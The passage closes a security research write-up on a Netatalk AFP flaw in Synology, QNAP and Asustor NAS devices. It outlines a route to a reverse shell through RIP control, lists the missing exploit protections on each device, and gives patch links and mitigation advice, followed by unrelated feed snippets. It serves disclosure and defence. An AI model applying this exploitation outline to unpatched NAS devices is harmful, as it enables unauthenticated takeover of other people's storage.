Finally, we control RIP to invoke execl() in afpd to get the reverse shell.

Remark

In general Netatalk, PIE protection is enabled by default. It is difficult to construct _dtor_list in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.

This vulnerability not only affects Synology, but also affects some devices use Netatalk.

Other vendor

We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function


Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function

It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.

When Synology has not yet patched this vulnerability, it can be exploited as long as the default is installed. No authentication is required.

Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.

Your NAS is not your NAS !

In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.

Mitigation

Update

At present, the above three have been patched, please update to the latest version.

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

Disable AFP

  • Itโ€™s best to disable it directly. The project is rarely maintained, and the risk of continuing to use it is extremely high.
  • SMB is relatively safe
    • If you want to use similar feature, it is recommended to use SMB. It is relatively safe, but it can only be said to be relatively safe.
    • It is recommended that all related services should be opened in the intranet.

Summary

We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.

We also think that Netatalk is a new generation of backdoor in NAS!

In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.

The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.

To be continue

In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.

Please look forward to Part II.

โœ‡ HanseSecure

Anstehender blu Systems Praxistalk mit Florian Hansemann

By: Blub Blub โ€”
Am 05. Mai 2022 ist es wieder so weit. Unser Grรผnder und IT Security Spezialist Florian Hansemann wird als Speaker auf dem blu Systems Praxistalk 2022 in Mรผnchen rund um das Thema โ€žSecurity einfach, schnell und kostenfrei.โ€œ Sprechen. Der diesjรคhrige blue Systems Praxistalk findet unter dem รœberthema โ€žDigital Governance โ€“ Nur ein weiteres Buzzword?โ€œ statt. [โ€ฆ]
โœ‡ Hexacorn Ltd

Good fileโ€ฆ (What is it good for) Part 3

By: adam โ€”
We have our sampleset. We have our metadata. Whatโ€™s next? You can very quickly script searches that will look for specific files, or their properties. I mentioned section names, PDB [โ€ฆ]
โŒ